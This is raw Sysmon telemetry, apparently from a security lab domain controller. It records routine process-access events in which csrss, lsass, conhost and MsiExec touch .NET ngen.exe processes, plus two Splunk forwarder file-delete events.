10341000x800000000000000039118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.444{7BD73061-6F21-613B-C207-00000000F001}46525720C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-C107-00000000F001}3876c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.428{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C207-00000000F001}4652C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.428{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C107-00000000F001}3876c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.428{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-C107-00000000F001}3876c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.413{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-BF07-00000000F001}6672c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.413{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-BF07-00000000F001}6672c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.397{7BD73061-6F21-613B-C007-00000000F001}57641576C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-BF07-00000000F001}6672c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.397{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-C007-00000000F001}5764C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 23542300x800000000000000039110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.397{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=077A0A8281E15AECD787CE1203991FAE,SHA256=47EA3E4DA8E3364A31453BD1B34097D0C97222C102C18E1B1424DE58DFE59E0F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.381{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-BF07-00000000F001}6672c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.381{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-BF07-00000000F001}6672c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.381{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-BD07-00000000F001}6548c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.381{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-BD07-00000000F001}6548c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.350{7BD73061-6F21-613B-BE07-00000000F001}28166252C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-BD07-00000000F001}6548c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.350{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-BE07-00000000F001}2816C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.350{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-BD07-00000000F001}6548c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.350{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-BD07-00000000F001}6548c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.335{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-BB07-00000000F001}6700c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.335{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-BB07-00000000F001}6700c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.319{7BD73061-6F21-613B-BC07-00000000F001}50644808C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-BB07-00000000F001}6700c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.303{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-BC07-00000000F001}5064C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.303{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-BB07-00000000F001}6700c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.303{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-BB07-00000000F001}6700c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.288{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B907-00000000F001}7028c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.288{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B907-00000000F001}7028c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.272{7BD73061-6F21-613B-BA07-00000000F001}49566124C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-B907-00000000F001}7028c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.272{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D59B20771958418E1EB6E543C7F4001,SHA256=A1287ECCC122977FE712541F01D8E9C97A2E087BDE8CB11BC04A29FDA7B5E345,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.272{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-BA07-00000000F001}4956C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.256{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B907-00000000F001}7028c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.256{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-B907-00000000F001}7028c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.256{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B707-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.256{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B707-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 